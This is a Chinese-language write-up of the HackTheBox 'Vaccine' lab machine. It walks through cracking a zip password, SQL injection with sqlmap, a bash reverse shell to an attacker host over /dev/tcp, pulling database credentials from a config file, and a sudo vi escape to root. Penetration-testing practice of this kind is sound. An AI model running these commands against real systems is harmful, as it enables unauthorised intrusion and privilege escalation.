HackTheBox [Vaccine] WriteUp

GetShell

扫描端口,发现开放了 21 FTP 、 22 SSH 和 80 HTTP 服务。

先访问 FTP ,匿名用户 Anonymous 可以下载到一个 backup.zip 。但是 zip 是加密后的,需要破解密码。使用 fcrackzip 可以直接破解,也可以先提权 hash 然后再用 hashcat 破解。

brew install fcrackzip
fcrackzip -D -p top1000.txt backup.zip

成功破解出密码 741852963 ,打开压缩包,发现里面有网站源码,其中有用户名和 MD5 加密后的密码 2cb42f8734ea607eefed3b70af13bbd3 ,拿到 CMD5 里面去查一下,发现密码为 qwerty789

访问网站,使用刚刚查出的账号密码登录成功,发现存在一处 SQL 注入 : http://10.129.95.174/dashboard.php?search=a

丢到 sqlmap 中可以直接拿到 shell 。

sqlmap -u http://10.129.95.174/dashboard.php?search=a --cookie="PHPSESSID=79gpf5gqu90fnsjld3okq61vgd" --os-shell

本地开启 nc 监听一个端口。

nc -vl 9443

在 sqlmap 的 os-shell 中执行命令反弹 shell 。

bash -c "bash -i >& /dev/tcp/10.10.14.128/9443 0>&1"

成功获取到用户 postgres 的 shell 。

提权

此时虽然获取到 shell 了,但是并不知道用户 postgres 的密码,所以不能 sudo -l 查询当前用户的特权命令。

查询网站配置文件 cat /var/www/html/dashboard.php 可以找到 postgres 数据库的连接语句。

$conn = pg_connect("host=localhost port=5432 dbname=carsdb user=postgres password=P@s5w0rd!");

用此账号密码登录 SSH 发现登录成功,执行 sudo -l 发现存在一个特权命令。

/bin/vi /etc/postgresql/11/main/pg_hba.conf

参考 GTFOBins 的提权手册,发现 vi 可以直接提权。

sudo /bin/vi /etc/postgresql/11/main/pg_hba.conf
:set shell=/bin/sh
:shell

直接进入到 root 的 shell 里面了,可以获取到 root 的 flag 。

cat /var/lib/postgresql/user.txt
cat /root/root.txt

评论